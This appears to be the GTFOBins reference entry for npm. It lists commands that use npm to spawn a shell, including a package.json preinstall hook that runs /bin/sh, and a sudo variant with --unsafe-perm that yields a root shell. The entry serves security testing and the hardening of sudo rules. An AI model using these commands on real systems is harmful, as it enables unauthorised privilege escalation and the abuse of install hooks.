GTFOBins.github.io/_gtfobins/npm.md
2021-06-18 14:16:48 +02:00

348 B

functions
shell sudo
code
npm exec /bin/sh
code
TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json npm -C $TF i
code
TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json sudo npm -C $TF --unsafe-perm i